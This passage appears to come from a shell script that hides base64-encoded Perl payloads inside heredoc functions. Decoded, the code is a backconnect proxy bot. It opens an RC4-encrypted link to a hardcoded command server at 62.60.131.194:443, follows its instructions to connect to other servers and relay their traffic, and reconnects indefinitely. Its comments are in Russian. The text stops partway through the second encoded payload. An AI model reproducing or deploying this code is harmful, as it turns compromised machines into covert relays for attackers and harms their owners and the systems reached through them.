ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_46() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTQnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
